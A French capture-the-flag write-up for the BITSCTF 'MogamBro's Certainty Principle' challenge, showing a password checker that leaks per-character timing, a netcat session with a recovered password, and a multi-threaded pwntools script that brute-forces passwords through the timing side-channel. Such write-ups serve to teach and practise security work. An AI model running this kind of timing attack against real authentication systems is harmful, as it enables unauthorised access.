MogamBro's Certainty Principle
Description
Write Up : Gwendal
Créateur : 4rm44n
Difficulté : Moyen
Points : 432
Format du flag : BITSCTF{password}
Enoncé
MogamBro's Certainty Principle states that the more accurate you are the more delay you'll face. Δt • Δp ≥ frustration / ram_space; where p is precission and t is time.
Pièce(s) jointe(s):
- N/A
Solution détaillée
Information préalable
Une adresse IP était fournie pour se connecter au challenge via netcat. Le code obtenu dans cpu.py sur le serveur correspond à ça :
#!/usr/bin/python3
import time
import random
def game(passwd, pause):
password = passwd
guess = input("Enter password: ").lower()
progress = 0
wrong = False
for i in range(len(guess)):
try:
if guess[i] == password[i]:
time.sleep(pause)
progress += 1
continue
else:
wrong = True
break
except:
wrong = True
break
if len(password) > len(guess):
wrong = True
if wrong:
print("Incorrect password")
time_taken = pause * progress + random.uniform(0.00001, 0.0001)
print("Time taken: ", time_taken)
exit()
Reconnaissance
On va tout d'abord essayer de lancer le programme afin de comprendre comment il pourrait fonctionner.
En lançant le programme, on s'aperçoit qu'on nous demande d'entrer un mot de passe. En testant différents mots de passe, nous constatons que si le mot de passe commence par la lettre 's', la valeur est plus grande tandis que pour les autres mots de passe c'est moins significatif. Après avoir relu l'énoncé du sujet pour comprendre ce que pourrait signifier ces valeurs, j'ai déduis que cela se referait au temps dont il est question dans l'énoncé. Donc si on commence par la lettre 's', le temps est plus long que si on commençait par une autre lettre.
A force d'essais, on remarque que lorsqu'on arrive à détecter une sous chaîne du mot de passe recherché, le temps est plus long que si on était sur une sous chaîne ne faisant pas partie du mot de passe recherché.
Exploitation
En écrivant rapidement un script en Python, nous pouvons deviner le mot de passe en suivant la différence de temps pris et afficher le mot de passe lorsque nous ne recevons plus de messages "Incorrect Password".
Après avoir laissé tourner le script, le mot de passe trouvé est sloppytoppywithatwist, ce qui nous donne l'invite suivante :
$ nc 20.244.33.146 4445
Enter password: sloppytoppywithatwist
Congratulations! You have unlocked the door to level 2!
Enter password:
Ah... Là c'est un peu plus relou, du coup il semble qu'il va falloir identifier plusieurs mot de passe. Bon, à ce niveau là, il va falloir modifier notre script pour qu'il trouve tous les mots de passe requis et au mieux utiliser du multi-threading pour les trouver plus rapidement :
from pwn import *
import threading
curr_passwd = ''
time_taken = 0
password_list = []
checklist = []
def try_letter(_i, _curr_passwd, _time_taken):
global checklist
p = process("./cpu.py")
for k in password_list:
p.sendline(k.encode())
p.recvline().decode()
p.sendline(_curr_passwd.encode() + _i.encode())
j = p.recvline().decode()
if 'Congratulations!' in j:
print(j)
password_list.append(_curr_passwd + _i)
_curr_passwd = ''
_time_taken = 0
print("Found passwords: ", password_list)
p.close()
checklist = [_curr_passwd, _time_taken, 0]
if 'flag' in j:
checklist[2] = 1
return
j = p.recvline().decode()
x = j.split()[-1]
x = float(x)
print("Found passwords: ", password_list)
print(_curr_passwd + _i)
print(abs(x - _time_taken))
if abs(x - _time_taken) > 0.002:
print("found!")
_time_taken = x
_curr_passwd += _i
p.close()
checklist = [_curr_passwd, _time_taken, 0]
return
p.close()
return
while True:
threads = []
for i in "abcdefghijklmnopqrstuvwxyz":
t = threading.Thread(target=try_letter, args=(i, curr_passwd, time_taken))
threads.append(t)
t.start()
for t in threads:
t.join()
curr_passwd = checklist[0]
time_taken = checklist[1]
if checklist[2] == 1:
break
Flag: BITSCTF{c0n6r...ry}